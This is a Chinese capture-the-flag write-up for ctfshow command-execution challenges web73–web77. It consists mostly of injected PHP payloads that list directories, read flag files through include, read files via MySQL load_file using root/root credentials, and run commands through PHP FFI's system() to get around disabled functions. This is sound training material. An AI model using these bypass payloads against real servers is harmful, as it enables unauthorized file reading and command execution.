ctfshow-命令执行(web73-web77)

web73

用不了上一题的通用poc了 因为禁用了strlen 但是可以改一个函数自定义一个函数只要是能实现strlen效果即可

c=var_export(scandir('/'));exit(0);

根目录下有一个flagc.txt文件

c=include('/flagc.txt');exit(0);

web74

禁用了scandir函数 

那就使用web72的glob协议 查看目录下文件

直接包含这个文件

web75

和上一题一样 

文件换成了flag36.txt 但是禁用了include函数

直接ai搜索 和include一样的函数有哪些

require也不行 file_get_contents函数也不行 

判断当前数据库

c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
foreach($rs as $row){
        echo($row[0])."|"; 
}exit();

那就用数据库读

c=$conn = mysqli_connect("127.0.0.1", "root", "root", "ctftraining"); $sql = "select load_file('/flag36.txt') as a"; $row = mysqli_query($conn, $sql); while($result=mysqli_fetch_array($row)){ echo $result['a']; } exit();

web76

同理 用glob协议 然后用数据库读

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

web77

使用数据库连接的时候报错

但是报 could not find driver的错误,表明此题无法使用PDO连接数据库

查看writeup,此题利用的是PHP 7.4+的FFI特性,即外部函数接口特性

提示 看来这个很牛呀

同理使用glob扫目录 发现flag36x.txt和readflag 但是文件包含都不行了

那就是用提示说的FFI特性 简单理解就是通过FFI,可以实现调用system函数,从而执行命令

c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);

  • 14
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Hello-smile

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值